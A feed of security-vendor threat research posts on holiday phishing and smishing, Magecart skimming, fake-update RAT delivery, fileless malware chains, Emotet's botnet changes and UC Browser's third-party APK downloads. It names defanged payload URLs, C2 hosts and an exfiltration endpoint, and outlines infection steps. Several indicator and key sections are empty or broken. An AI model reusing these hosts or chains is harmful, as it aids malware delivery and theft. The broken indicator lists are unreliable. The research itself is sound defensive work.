Research Blog Feed Zscaler Blog — News and views from the leading voice in cloud security. en Scamming and Smishing while Shopping

A few weeks ago, the witches and skeletons that decorated shop windows for Halloween were swept aside and replaced with reindeer and jolly elves. Fir trees supplanted the pumpkins and “Jingle Bells” began drifting from speakers buried under mounts of artificial snow. It all means one thing: the start of the holiday shopping season, which kicks into high gear on Black Friday.

Cyber Monday, which began in 2005, has surpassed Black Friday as the biggest shopping day of the year and, not surprisingly, it has become a major target for cybercrime. But in a report our ThreatLabZ researchers did last year, we were somewhat surprised to see the shifting volumes of activity, which spiked a week before Cyber Monday and dropped off significantly on the day itself. We saw this as an example of the increasing sophistication of attack campaigns, as those carrying them out had begun to mirror the strategies of retail marketers.

The Zscaler cloud processes about 75 billion transactions a day for our enterprise customers, and though the bulk of the traffic is business-related, the sheer volume gives us a sweeping view of activity across the internet. Since the beginning of November, we have seen a marked increase in what we identify as shopping traffic. We are also seeing activity that could foreshadow a busy holiday season for cybercriminals. This activity includes phishing that’s targeting well-known shopping brands, phishing attacks targeting mobile phones, site skimmers looking to harvest credentials from compromised e-stores, scam sites offering gift cards, and banking Trojans trying to turn your PC or mobile device into an ATM.

Shopping Transactions

Figure 1: Shopping traffic on the Zscaler cloud between Oct. 21 and Nov. 17, 2019, averaging nearly 600 million transactions per weekday

Phishing activity tends to rise when the shopping season begins, as attackers know that shoppers may be more likely to respond to “special offers” or notifications relating to shipping and similar matters. Threat actors adjust their phishing kits accordingly, sometimes with seasonal messages and designs. We calculated an increase of more than 400 percent in phishing activity between the first 14 days of October and the first 13 days of November.

October Phishing Transactions

Figure 2: Phishing activity between Oct. 2 and Oct. 14, 2019

November Phishing Transactions

Figure 3: Phishing activity between Nov. 2 and Nov. 14, 2019

Three cases of phishing attacks on shoppers

Because Amazon is by far the busiest shopping site, it has the highest likelihood of being on the radar of scammers looking to attack a broad audience. Below, we'll discuss some of the ways that attackers are leveraging Amazon’s popularity for their own money-making schemes.

Case 1: Fake Amazon Gift Cards

Everyone loves giving and receiving gift cards, but the phony versions being generated by scammers are dangerous. If you were to click the link (as shown below), you would be redirected to a phishing page that will attempt to collect your login credentials.

The following scam arrives via email, congratulating the recipient for qualifying to receive a reward for taking an anonymous survey—but, it says, it must be done in five minutes.

Fraudulent Gifts allow attackers to collect Personal Information from gullible users

Figure 4: Phishing attempt


Figure 4a: HTML of the page shows the attempt to pose as an Amazon Gift Card

Case 2: Fake Amazon Login

A common way that attackers try to compromise your Amazon account is through the use of an email or site posing as a legitimate Amazon site. Be wary of any emails posing as Amazon Customer Service alerts or payment invoices as these are common hooks attackers will use to appear legitimate and get victims to click their links. ThreatLabZ has been monitoring one campaign that was sending PDF or DOC files to victims in the hopes they would click through and enter their credentials (see the image below).

Scammers will attempt to pose as Amazon in order to trick user's into entering their sensitive information

Figure 5: Letter impersonating Amazon in an attempt to capture user credentials

By clicking the link in the letter, you would be redirected through several URL shorteners before eventually landing on a compromised site hosting an “Amazon” phishing kit. The site was down at the time of this publication, but the screenshot from early on in the campaign shows a near-perfect copy of an Amazon login screen that is set up to steal credentials.

Credentials entered into this portal will go directly to the attacker.

Figure 6: Faked Amazon login screen

Case 3: Emotet Trojan

A popular method that attackers use to target victims is through the use of scam emails or URLs that pretend to be legitimate purchase orders or invoices; these may appear as links or attachments. This has become a common method for distributing one of the most prevalent banking trojans out there, Emotet. The following case actually comes from the site: http://phamthaifood[.]com/4ib60l/Amazon/Orders-details/10_19/.

Opening this document in a secured environment still asks the user to enable editing to allow the attack to commence.

Opened Doc

Figure 7: Allowing active content of suspicious files is not recommended

An analysis of the document in question provides a glimpse into the PowerShell that will execute on the victim's system.


Figure 7a:  Malicious PowerShell

The PowerShell mentioned above will download and execute the Emotet trojan. Running this through a dynamic analysis will reveal a malicious attack.

Sandbox Analysis of the Fake Amazon Payment Order reveals the file to be malicious.

Figure 7b: Threat score of Emotet as identified by Zscaler Cloud Sandbox

Once the document is opened, it will execute encrypted PowerShell commands to install the banking trojan onto the victim’s system. We've written extensively about the resurgence of the Emotet malware in earlier blogs.

PayPal Phishing

In addition to shopping sites, banking and personal finance sites, such as PayPal, become frequent targets during the holidays. PayPal is one of the most accepted secure payment options used by vendors. Threat actors know this and use it as another primary target for phishing attacks. Some of these attacks are easy to recognize (as shown below) because they are served over non-secure connections using HTTP, which is always a tell-tale sign of a phishing attempt.

Fraudulent Paypal site posing as the real deal.

Figure 8: Faked PayPal login screen

Some attacks, on the other hand, can be quite elaborate, as shown below. They are served over an HTTPS connection and the interface presents a very good reproduction of the official PayPal site. The domain name ([.]shnpoc[.]net) could easily be missed because many people believe that as long as they see “,” the site is legitimate. Particularly when viewed on a mobile device, it would be difficult to see that the URL does not belong to PayPal, but “”

Paypal Phish is given away by the URL address bar going to a shnpoc[.]net address

Figure 9: Faked PayPal login screen

The example below appears to be a PayPal site that enables you to sign up for a personal or business account, or even recover your password. But any personal and financial information you enter will be captured by the scammers.

Fake Paypal site attempting to gather sensitive information

Figure 10: Faked PayPal registration screen

Smishing Campaign

Many consumers are seeing an increase in order and delivery messages on their mobile devices. Scammers use this opportunity to lure users into revealing personal information through SMS phishing (“smishing”) techniques. With Smishing, attackers send an SMS message to mobile users containing live links that, when clicked, redirect the user to phishing pages and result in credential theft and can lead to financial theft. In the example shown below, we saw SMS messages notifying the user of an online order with a link to follow for more details.

Smishing Message sent to Android device.

Figure 11: Smishing attempt

Once clicked, the user is redirected to cyzoone(.)xyz. This site poses as a poll site to lure victims into entering to win up to $35,000. To take part in the poll, victims have to register using their names.


Surveys designed to entice user's into voluntarily giving up sensitive information.Surveys designed to entice user's into voluntarily giving up sensitive information.

Figure 12: Smishing attempt using a survey with cash prize

Upon clicking the PARTICIPATE button, the site begins asking poll questions. The questions we observed were about cars, perfumes, and watches, among other things, and can be observed in the following screenshots.

Poll questions name drop some of the biggest brands to trick the user.Win* a free watch!

Figure 13: Smishing attempt using a survey with cash prize

Once finished with the poll questions, the screen shows the amount that the victim has “won.” Now that the user is fully invested in this deception, the scam starts. The attacker claims, due to payment system limits, that the payment will be sent in two parts. But, to get that amount in full, the user has to pay  $35, as shown in the following screenshot.

To collect the thousand of dollars* from your poll participation, the scammer asks for an initial payment.

Figure 14: Scam message saying if you pay $35, you will receive $26,600

Upon clicking the payment button, the scam redirects to a payment page hosted on paybank(.)expert asking the user for a credit card number, CVV number, and the expiration date of the card.

Scammers finally make their move and ask for Credit Card details

Figure 15: Payment screen as part of a smishing scam

After filling out the form and clicking the Pay Now button, the payment information will be sent to the attacker’s site, as shown in the below screenshot. This gives the attackers access to the victim’s account.

An Analysis of the traffic being sent reveals the cold truth about the scam.

Figure 16: Scammer’s site

We also checked on the stats of the link included in the original SMS message and observed that there were more than half a million clicks on this link in a 24-hour period, which shows the widespread reach of this scam.

Further analysis shows how effective this type of campaign can be

Figure 17: Clicks on the scammer’s original smishing message


Magecart: Site skimmer

Magecart has been active for five years and has been successful injecting JavaScript into target websites to skim for payment information from point-of-sale portals. The injected script can be loaded directly onto the target page or loaded from a remote resource controlled by the attacker. The attack script may be injected in plain text (as shown below) or obfuscated to avoid detection.

Sites subjected to Magecart infections are as much a victim as the users who enter payment details to them

Figure 18: E-commerce site compromised by Magecart

Magecart malware is capable of tracking cookies to check what data is stored and what data is sent. It also checks for the validity of the payment details entered by a user. If the payment details are valid, the malware proceeds to send the information to the attacker. This attack is smart enough to check for old card details and sends only new information to the attacker. For more detailed insight into the mechanics of Magecart, please check out our analysis here.

Injected Magecart script

Figure 19: Magecart skimmer 


The ThreatLabZ team at Zscaler will continue to track and block various campaigns and tools used by threat actors to target users. We work diligently to protect our customers from these malicious attacks. Users should be cautious and protect themselves by reviewing our security checklist, particularly during the shopping season:

  • Verify the authenticity of the URL or website before accessing it. Be wary of links with typos.
  • Check for HTTPS/secure connections when visiting shopping/e-commerce/financial websites. All legitimate vendors/retailers and payment portals use HTTPS connections for their transactions.
  • Enable two-factor authentication, or “2FA,” to provide an additional layer of security, especially for sensitive accounts related to financial transactions.
  • As a rule of thumb, don't click links or open documents from unknown parties who promise exciting offers and opportunities.
  • Avoid visiting URL shortener links.
  • Always ensure that your operating system and web browser are up to date and have the latest security patches installed.
  • Use a browser add-on, such as Adblock Plus, to block malvertising (compromised/malicious website bombard visitors with pop-up ads).
  • Only download apps from official app stores, such as Google or Apple.
  • Avoid using public or unsecured Wi-Fi connections for shopping.
  • Back up your documents and media files. You can always go the extra mile by encrypting your files.
  • Review helpful instructions by the Federal Trade Commission (FTC) on Identify Theft, Recognizing and Avoiding Phishing Scams, and Understanding Mobile Apps and Malware.
  • Review the National Cybersecurity and Communications Integration Center's (NCCIC) Holiday Scams and Malware Campaigns warning and recovery actions message.
  • Report incidents to the FTC.




Thu, 11/21/2019 - 05:00 Analysis,Compromise,Exploit,Malware,Mobile Malware,Phishing,Scam,Social Engineering,Spam Blogs
NetSupport RAT installed via fake update notices

Recently, the Zscaler ThreatLabZ team came across two campaigns designed to trick users into downloading a Remote Access Trojan (RAT) via a fake Flash Player update and a font update. These campaigns are designed to inject malicious redirector scripts into compromised content management system (CMS) sites. These sites use popular programs, such as WordPress, Joomla, Drupal, and others, and are being attacked as a result of vulnerabilities introduced by plugins, themes, and extensions, something we’ve discussed previously on this blog. The two malware campaigns we examine in this blog deliver a payload designed to steal sensitive information.

The following figure depicts the hits on the various compromised sites. Overall, Zscaler has blocked nearly 40,000 of these attempts in the past three months.

Figure 1: The number of hits on the various types of compromised CMS sites: WordPress (green), Joomla (gold), Drupal (blue), and other CMS sites (orange)

Method 1: Fake Flash Player update campaign

In this attack, cybercriminals hacked WordPress sites using the theme plugin vulnerability and injected two malicious redirect scripts in the compromised site. By using either one of the scripts, the attackers will deploy malware at the user’s end. The injected script will redirect to the malware site and download the fake update template script to show a fake Flash Player update alert to the user over the compromised site.

Figure 2: A compromised WordPress site with the fake Flash Player update page

The following figure shows the source code of the compromised website with the injected scripts.

Figure 3: The injected redirector scripts in a compromised CMS site

The first injected script will direct the user to click.clickanalytics208[.]com to download the fake update template. If it fails to meet the attacker's checkpoints, such as geolocation and network settings, then it will execute the next injected script.

Figure 4: The first injected malicious script redirects to the click.clickanalytics208[.]com site

The second injected script will redirect to the chrom-update[.]online site and will download the fake update template script from the malicious site.

Figure 5: The second injected malicious script redirects to the chrom-update[.]online site

The attacker will send the template.js file as a layer of the compromised site with a fake update page. The fake update page template will be displayed based on the particular variable’s value, also called a “banner.”

Figure 6: The default template.js code [banner value = 1: browser update; 2: font; 3: Flash]

The fake template page will display an alert to try to trick the user into starting the update. Once the user clicks the "Update" button, the script downloads the malicious HTA file from the specified URL. 

Figure 7: A fake Flash Player update page with the link to download malicious HTA file

If the user clicks the "Later" button, the redirect still occurs, taking the user to the same page to download the malicious HTA file. The following figure depicts the source code of the template.js with the link to download the malicious HTA file with the banner value 3.

Figure 8: The source code of the template.js script from the redirection URL (chrome-update[.]online)

Once the user runs the HTA file, it will also run the PowerShell application using the command prompt and download the RAT payload from the specified URL.

Figure 9: The source code of the downloaded malicious HTA file

Figure 10: The obfuscated content responsible for the malware download

Figure 11: The deobfuscated code showing the download link

Figure 12: Step 1 of the malware payload installation process

Figure 13: Step 2 of the malware payload installation process

Figure 14: The NetSupport RAT malware running as a client-side application

Finally, the installed RAT malware will send the victim's information in an encrypted format to the attacker’s site (hxxp://179.43.146[.]90/fakeurl.htm) to enable remote access of the victim’s machine, as shown in Figure 15 below.

Figure 15: The captured user data is transferred to the attacker’s site in an encrypted format

Figure 16: The overall traffic of the fake Flash Player update malware campaign

The attackers were also tracking the visitor count, as shown in Figure 17 below. So far, 113,000 unique users were affected by this malware attack.

Figure 17: The affected user count

Method 2: Fake font update campaign

In this attack, the cybercriminals will directly inject the fake update template script by exploiting the legitimate site to evade detection. As mentioned earlier, the template script logic will identify which browser is being used.

While accessing the compromised site via Chrome, the user will receive an alert that the “PT Sans” font wasn’t found.

Figure 18: The compromised site with a fake font update page (Chrome)

The same site was accessed via Firefox and shows the same alert to the user in the Firefox template.

Figure 19: A compromised site with a fake font update page (Firefox)

The following image shows the source code of the compromised site with the injected template script.

Figure 20: The template.js is injected directly into the compromised site

The source code of the template.js script shows a banner value “2” and has a link (sreex[.]info/update.exe) to download the malware payload.

Figure 21: The source code of the template.js script with the malware download link

Figure 22: After clicking the update button, the malware payload will be downloaded (via update.exe)

The following activities were observed while executing the downloaded Trojan.

Figure 23: The program created a process “gdsun.exe”  from the malware payload (a self-copy of the payload)

Figure 24: The malware creates a copy of the payload in the %ProgramData%/<randomfolder_name> folder


Figure 25: It also creates a startup registry entry for the dropped malware

It will post the following collected user data to (clickies(.)site/CC/index(.)php), which is operated by the attackers.

Figure 26: Post-infection callback traffic

Figure 27: The overall traffic of the fake font update campaign


In today's digital world, a company's website is its most valuable asset. Therefore, it is critically important for companies to protect this public face from an attack that could put your business, employees, and your customers at risk. Zscaler has blocked more than 40,000 malicious attacks related to this campaign in the past three months.

Figure 28: The Zscaler Risk Analyzer score for the malware payload download URL












Malware payload:




Fri, 11/15/2019 - 12:00 Blogs
Fileless malware campaign roundup

Criminals frequently get caught because they leave evidence at the scene of the crime—fingerprints, DNA, and the like. Cybercriminals are no different, often leaving files behind on the systems they infect.

In an effort to reduce the evidence left behind after an attack, cybercriminals developed fileless malware, a variant of computer-related malicious software that exists exclusively as a computer memory-based artifact. In short, the infection or malware does not write any executable files to the infected system’s hard drive.

By leaving few traces behind, malware authors try to postpone detection by security vendors for as long as possible. 

During the past few years, the use of fileless infection has been adopted by numerous forms of malware and advanced persistent threats (APTs). These fileless infection chains can employ multiple techniques to deliver the final payload. In one example, the Kovter Trojan stored the payload in a Windows registry. The Hancitor Trojan wrote a payload in the hollow process spawned by shellcode injected from a Word document macro in a Microsoft Word process.

Lately, we have been seeing an increase in fileless infection techniques that are leveraging legitimate applications available in the victim’s machine. These techniques do not rely on storing executable files and leave no direct traces on disks, making detection and removal a challenge. In this blog, we will discuss the recent malware campaigns that have used fileless infection mechanisms leveraging legitimate applications.

Figure 1: Stats showing hits of fileless infection chains

Case 1: njRat Backdoor

Although njRat has been around for a long time, we recently observed that this backdoor is being loaded by a fileless infection chain. A .docx file is received as an attachment in a phishing email by the victim. Once the .docx file is opened, the infection cycle begins.

Figure 2: The njRat payload loaded by fileless infection

The .docx file contains external references to remote OLE objects to be referenced in the “document.xml.rels,” which is a Rich Text Format (RTF) exploit CVE-2017-0199 that further opens the embedded .doc file containing a Visual Basic for Applications (VBA) macro.

Figure 3: The .docx downloading an RTF file

The VBA macro contains an encoded PowerShell script. It downloads the VBScript from “www[.]m9c[.]net/uploads/15676549681.jpg.”  The VBScript then decodes and executes the embedded PowerShell script. The PowerShell script then downloads the encrypted Portable Executable (PE) file from “www[.]m9c[.]net/uploads/15676547971.jpg,” which is the njRat executable.

Figure 4: The VBS PowerShell downloads an encoded PE file

This VBScript decrypts the PE file, which is a .NET executable that is directly loaded in the memory and runs in the context of an MSbuild.exe. No traces of a disk write are observed and the backdoor njRat silently executes under the hood by communicating with the CnC server “borapegar147[.]ddns[.]net”.


Case 2: Sodinokibi Ransomware

The Sodinokibi ransomware (also known as REvil) is one of the most well-known ransomware types in the wild today. It has been on the rise since the threat group behind the malware operation GandCrab announced that it had shut down its operations at the end of May. Recently, we have noticed that Sodinokibi has adopted a fileless mechanism.

Figure 5: The Sodinokibi payload loaded by a fileless infection

The fileless infection cycle starts when the victim clicks the BAT file that is received as an attachment in a phishing email. The BAT file contains a PowerShell script containing Base64 encoded expressions.

Figure 6: The BAT file received via MalSpam

As shown below in the decoded PowerShell script, this script downloads another PowerShell script containing more than 3,000 lines of code and a Base64-encoded portable executable file (PE) from a pastebin URL and loads it while invoking a function that initiates the attack in the system's memory.

Figure 7: The decoded PowerShell expressions

Figure 8: The encoded PE file in PowerShell downloaded from the pastebin

This script decodes and provides the PE file to a loader function, which takes care of injecting this file directly into the system's memory. The loaded PE file, which appears to be a DLL, is actually Sodinokibi ransomware. We see no traces of the DLL being saved on the disk as the ransomware silently starts encrypting files on the system.


Case 3: Astaroth Backdoor

The Astaroth Trojan is known for stealing credentials, keystrokes, and other system information. An analysis of the backdoor and the infection cycle is covered in detail by Microsoft. The infection chain starts with a victim clicking on an LNK file that is delivered via a phishing email. This LNK file contains an obfuscated WMIC command, which downloads an XSL file containing obfuscated JavaScript.

Figure 9: The obfuscated WMIC command

This JavaScript code downloads a Base64-encoded payload by abusing the Bitsadmin tool and decodes it using the Certutil tool. The payloads are XOR-encrypted PE files except one of the DLL files, which is loaded by leveraging the Regsvr32 tool. Finally, this DLL file decrypts the payload of the backdoor Astaroth and maps it in the Windows userinit process.

Figure 10: Obfuscated JavaScript in an XSL file

During the entire attack chain, only system utilities are leveraged to load the final payload. The Astaroth payload executes silently without traces on the filesystem.

The case studies described above are based on techniques that take advantage of legitimate applications, such as PowerShell and Windows Management Instrumentation (WMI). However, there are other techniques in which the payload is stored in the registry and delivered by taking advantage of zero-day vulnerabilities in applications or in the operating systems themselves. In one example, the famous Equifax breach used a vulnerability in Apache Struts to deliver the payload. As the PowerShell scripts were stored in the registry, there was no direct trace of the malware being stored.



Fileless infection campaigns are difficult to detect. That's why the Zscaler ThreatLabZ team continually monitors malware delivery mechanisms from several sources to ensure that Zscaler customers are protected.   


Thu, 10/31/2019 - 14:03 Analysis,Evasion/Stealth,Malware,Obfuscation,Ransomware Blogs
Emotet is back in action after a short break

It’s common for cybercriminals to launch an attack, then shortly thereafter stop the campaign before they are detected. These breaks also give these bad actors a chance to change tactics to, once again, attempt to avoid detection. That’s what operators using the Emotet malware did, taking a short break before bringing Emotet back in a new, more dangerous form.

Emotet operators took about a two-month break as command and control (C&C) servers went down in late May and came back online around the end of August. Then, we began observing a new version of this malware around mid-September.

Emotet started as a banking trojan in 2014. However, it has morphed into a very prominent threat. Now, it is mostly used for spamming and downloading additional malware threats on a target system. Based on the unique sample count of malware threats seen by the Zscaler Cloud Sandbox, Emotet and its downloaders appear to be among the most prevalent threats in 2019, followed by banking trojans and loaders, such as TrickBot and Ursnif, remote-access trojans (RATs), and off-the-shelf password stealers, such as LokiBot and AZORult.

Emotet is modular by design, as it supports multiple modules for different tasks, such as stealing information, spamming, and more. It is also known to download and to be downloaded by other malware families, such as TrickBot and Ursnif. It has also been associated with the Ryuk ransomware.

Email conversation hijacking

This year, Emotet employed a new tactic of using stolen email content in spam campaigns. The hijacking of existing email threads can be very effective as recipients are tricked into believing that the email was sent by the other person in the email thread. This trust factor can lead to the victim opening the email (and attachment) and getting infected with Emotet, effectively making the infected system part of an Emotet botnet.

Graph showing break in emotet activity from the beginning of June 2019 to mid september 2019

Figure 1: Emotet activity from the beginning of June 2019 to mid-September 2019.

Emotet new campaign after break

Figure 2: The new Emotet campaign after the break.


New campaign, new document templates, and new botnets?

We observed the following new templates in spammed malicious documents (maldocs) during this new campaign.

New Macro Template (Product Notice)   New Macro Template (Protected View)

Figures 3 and 4: New macro templates (Product Notice and Protected View)

Earlier, there were two Emotet botnets, known as Epoch 1 (E1) and Epoch2 (E2), that were using unique RSA keys to communicate with their C&C. After the break, we noticed three new RSA keys being used, which suggests the possibility of a botnet splitting into multiple botnets. Earlier keys were no longer seen in use and the latest three keys are now being used, which means operators are reorganizing their botnet infrastructure.

Already existing RSA keys 
-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAMPLgcO0RQdJg/LTgiku57nH4KcLwHCx\nS0lbynOUhHhKjTnmENrMA2idUbK6hI0JRZtii9oJSlb3e5NZiCK+Qr/NB2u7ZNRc\nhG87aibm0ndS9xKDRXcmWwaQkF0PFuOHpwIDAQAB\n-----END PUBLIC KEY-----

-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAL9KRKWqcld40xbUZ6hRh+fPNkgJe7K+\n0y1rR0UFqc2SBmnyoR/2Ctd+8MRvU8zri2eNVkVBxCUH1Cthf3AEgRqY2kGva8gJ\nWcqls3j7RztZzqFoL+wM9DNnz/OWuiyPAQIDAQAB\n-----END PUBLIC KEY-----

New RSA keys
-----END PUBLIC KEY-----

-----END PUBLIC KEY-----

-----END PUBLIC KEY-----

Emotet RSA keys use over weeks of year

Figure 5: Emotet RSA keys used before and after the break.

RSA1 and RSA2 were used before the break. In this new campaign, we saw Emotet using RSA3, RSA4, and RSA5. (1, 2, 3, 4, and 5 are assigned based on their first observation sequence in the wild).

Before the break, the two RSA keys didn't share any C&C infrastructure. In this new campaign, two sub-botnets are sharing some infrastructure (as shown in the following screenshots).

Old RSA keys and C&C infrastructure

Figure 6: Emotet RSA keys and C&C infrastructure before the break.

New RSA keys and C&C infrastructure

Figure 7: RSA keys and C&C infrastructure of the new Emotet campaign.

If we check the overall C&C infrastructure and RSA key relationships before and after the break, we can clearly see a reorganization of the C&C infrastructure, which is now divided among three new Epochs. One Epoch is divided into two while the other one is used to create a single botnet with some new C&Cs.

RSA key and C&C infrastrucutre share between before and after botnets

Figure 8: The Emotet RSA key and C&C infrastructure relationships before and after the break.


Emotet Downloader payload - Technical analysis

The Emotet infection cycle generally starts with spam emails containing malicious macro documents that drop a JavaScript file. This JavaScript file further downloads the Emotet payload from a compromised WordPress website. Almost all the samples we observed were served from compromised WordPress websites (mostly version 5.2.3). 

We will take a look at one such malicious document for the purpose of analysis here - 
MD5 – 359696113a2156617c28d4f79cc7d44b (“file 20190924 LTR6051.doc”)

The macro in the documents is quite simple and straightforward but contains lots of junk.

Macro code containing junk instructions

Figure 9: Macro code containing junk instructions.

After removing the junk, this is how the macro code looks.

Cleaned Macro code

Figure 10: Cleaned macro code.

It gets its text from TextBox1 in UserForm2, then saves that in a "JS" file before executing that file.

User form containing javascript code

Figure 11: A user form containing javascript code.

This JavaScript file is heavily obfuscated. More obfuscation is being added to the "JS" code incrementally. As in earlier versions of this downloader, some of the strings and function names were readable and now almost every string is obfuscated.

Heavily obfuscated script

Figure 12: Heavily obfuscated script

This script contains an array of strings in variable “a.” First, the elements of the array are shuffled using an anonymous function just after the array definition. Then there is function “b,” which is used to decrypt strings and is extensively used throughout the script. Using this function, we can log the decrypted strings just before they return. Some of the interesting strings include:

The script's functionality can be clearly determined from the decrypted strings. It downloads, saves, and runs its payload from a list of URLs and shows the following message box to trick a user into believing the file is corrupt:

Error message to trick user into believing file is corrupt

Figure 13: An error message to trick a user into believing the file is corrupt.

There are multiple URLs embedded in the script files. The following URLs were extracted from this script:


In this case, the Emotet loader is downloaded from “http://thecrystaltrees[.]com/nofij3ksa/o5523/” (MD5 – 402b20268d64acded1c48ce760c76c47).

The Emotet loader already has been extensively analyzed and blogged about, so we won't be getting into technical details of the loader here. Below are artifacts extracted from this sample:

RSA key extracted from this sample:

-----BEGIN PUBLIC KEY-----\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOzoTryw1r9RxRJPFKalO4+q7JaDZWSB\nKZlEc22H6ITuE06tvJspue42TF1yk8xN+1bqW++QeV6Clm1uRswA/qoao/6p4eN0\nh4zIO8PEaJ0C/9EO4cx9yfRLlVpjdEkP0QIDAQAB\n-----END PUBLIC KEY-----

C&C server addresses from the sample:



Emotet is an ever-evolving threat, employing new tricks and tactics. Although it started as a banking trojan, Emotet is now associated with several different malware campaigns, including ransomware and infostealers. The Zscaler ThreatLabZ team proactively tracks and ensures coverage to block downloaders, payloads, and C&C activity from Emotet and other threats.

ThreatLabZ is the research division of Zscaler. To learn more about ThreatLabZ and Zscaler cloud activity, visit

Wed, 10/30/2019 - 04:59 Malware Blogs
UC Browser app abuses may have exposed 500 million users

Recently, when examining the Zscaler cloud for unusual activity, ThreatLabZ researchers found some questionable hits in relation to a particular domain: 9appsdownloading[.]com. Upon analysis, we found these requests being made from a popular browser that's available on Google Play and has more than 500 million downloads to date: the UC Browser app.   

Fig. 1: UC Browser on Google Play


As we began to analyze the UC Browser app, we found that the requests were being made to download an additional Android Package Kit (APK) over an unsecured channel (HTTP over HTTPS). Downloading and/or updating components from a third-party source violates Google Play policy, which states: “An app may not download executable code (e.g., dex, JAR, .so files) from a source other than Google Play.”

We decided to explore further into the UC Browser app and found the following issues, which will be discussed in detail in this blog:  

  1. Downloading an additional APK from a third party – in violation of Google Play policy

  2. Communication over an unsecured channel – opening doors to man-in-the-middle attacks

  3. Dropping an APK on external storage (/storage/emulated/0) – allowing other apps, with appropriate permissions, to tamper with the APK

We found another app called UC Browser Mini from the same developer with the same functionality and issues, and it dropped the same additional APK from a remote server. The screenshot below shows UC Mini on Google Play.


Fig. 2: UC Browser Mini (UC Mini)


It is important to note that these issues have the potential to affect millions of Android users because the UC Browser app has been downloaded 500 million+ times and UC Mini has been downloaded 100 million+ times. The ThreatLabZ team has been in contact with Google, whose teams are investigating the apps. 

Timeline: August 13, 2019: Zscaler reported policy violation to Google.

August 13, 2019: Google promptly responded. Case assigned to an investigation team. 

August 13 – September 25, 2019: Follow-up emails with research details.

September 27, 2019: Google confirmed policy violation by UC Browser and UC Mini. Google contacted UC developers to update the apps and remediate the policy violation. 

Update: After Google's intervention, the Zscaler research team noticed that the latest version of both the apps, UC Browser and UC Mini, have stopped downloading the third-party app store.


Technical Details of UC Browser

Name: UC Browser Package Name: com.UCMobile.intl Installs: 500,000,000+ (500M +) Developer: UCWeb Singapore Pte. Ltd.


1. Downloading an APK from a third party

Upon finding the UC Browser app as the main culprit, we decided to dig deeper into our analysis of the app. As soon as the app is installed, it displays basic activities (Android screens) to set up default language, topics of interest, location, and so on. 

Fig. 3: UC Browser app icon and initial Android activity


After some initial requests for news and notifications, the app sends multiple requests with redirections and finally drops an APK on to the user’s device. The screenshot below illustrates the chain of requests and redirects taking place: 


Fig. 4 Unsecured requests for APK download


This functionality of dropping another APK from a third-party source clearly violates Google Play’s policy, which includes the following:

An app distributed via Google Play may not modify, replace, or update itself using any method other than Google Play's update mechanism. Likewise, an app may not download executable code (e.g., dex, JAR, .so files) from a source other than Google Play. This restriction does not apply to code that runs in a virtual machine and has limited access to Android APIs (such as JavaScript in a webview or browser).” During our analysis, we found the APK being dropped on external storage but we did not find the APK being installed. It is possible that this functionality is still under development or there may be other reasons it wasn’t installed, such as exception, disabled unknown-sources option, or rooted device. 


2. Communication over an unsecured channel 

The APK was downloaded over an unsecured channel (HTTP over HTTPS), opening the possibility for man-in-the-middle (MiTM) attacks. In our research, we came across a recent Dr. Web blog post that talks about similar issues they saw with UC Browser downloading and installing libraries from remote servers. In that case, they talk about libraries being downloaded over HTTP and, in our case, we saw a completely new APK being dropped (this APK is also analyzed in the latter part of this blog). 

The consequences of downloading and installing components over unsecured channels were well addressed in the Dr. Web blog, along with the MiTM vulnerability, so we will not address those issues further.

We noticed that the app analyzed by Dr. Web researchers had the same icon as our sample, but had a different full-name and a different developer. The screenshots below show the Dr. Web sample (left) compared to the Zscaler sample (right):

Fig. 5: UC Browser app samples: Dr. Web (left) and Zscaler (right) 


It could be that the same app had been uploaded again on Google Play with a different name and developer along with modified or enhanced code to download additional APKs. 


3. Dropping an APK on external storage

We also noticed that the additional APK being dropped by this app is stored on external storage, which is world-readable by default. The screenshot below shows the location of the dropped APK:

Fig. 6: Dropped APK storage location

An APK being placed on external storage, or any other app with storage permission (android:name=android.permission.READ/WRITE_EXTERNAL_STORAGE) can have access to this location and can tamper with the downloaded APK.   

Analysis of the dropped APK

During our analysis, we noted that UC Browser was dropping the APK but not installing it. It is unclear whether this is due to the fact that the functionality is still under development or if there is another reason the APK is not installing. But we did want to find out what the APK contained, so we decided to manually install it and have a look inside. To our surprise, we found that the APK was actually a third-party app store named “9 Apps” with the package name  


Fig. 7: 9Apps app install process


After installing the app, it scans the device for installed apps. The app’s scanning and further activities can be seen in the screenshots below:

Fig. 8: 9Apps initial activities


We also saw several adult apps available for download in this third-party app store. These apps can be seen in the screenshot below:   

Fig. 9: Adult apps on 9Apps store


We tried downloading a small-sized app from the 9Apps store and, to our surprise, the app was downloaded from 9appsdownloading[.]com. This is the same domain that we mentioned at the beginning of this blog. The screenshot below shows the functionality in action: 


Fig. 10: Sample APK download requests


Further scrutiny of Zscaler cloud traffic showed multiple requests for APK downloads from this 9appsdownloading[.]com domain. Within the last month, we found 130+ such requests. The hits can be seen in the Zscaler cloud dashboard: 

Fig. 11: Zscaler dashboard showing the domain’s activity



The tactics used by UC Browser and UC Mini violate Google Play security policies and make it possible for any malicious app to gain entry into a user's device. While 9Apps, an app store for Android apps, is not a malicious site, we searched the domain using VirusTotal, which showed a number of detections:

Fig. 12: VirusTotal search for the domain


It is too early to determine exactly what the UC Browser developers intended with their third-party APK, but it is clear that they are putting users at risk. And with more than 500 million downloads of UC Browser, that is a significant threat.

Because UC Browser downloads an unknown third-party app to devices over unsecured channels, those devices can become victim to man-in-the-middle (MiTM) attacks. Using MiTM, attackers can spy on the device and intercept or change its communications. The UC Browser app’s use of unsecured channels also allows attackers to install an arbitrary payload on a device that can perform a variety of activities, such as display phishing messages designed to steal personal data, including usernames, passwords, and credit card numbers.

Once a user device has been compromised, and that compromised device connects back at the office, attackers have the ability to establish a foothold in your network, so they can snoop, spread malware, or steal data. 


Thu, 10/17/2019 - 08:03 Blogs
Examining the Ryuk Ransomware

Ryuk ransomware had a disturbingly successful debut, being used to hit at least three organizations in its first two months of activity for more than $640,000 in ransom. Several attacks followed, where the attackers demanded even greater amounts of ransom.   

The attackers were able to demand and receive high ransoms because of a unique trait in the Ryuk code: the ability to identify and encrypt network drives and resources, as well as delete shadow copies on the endpoint. By carrying out these actions, the attackers could disable the Windows System Restore option, making it impossible for users to recover from the attack without external backups.

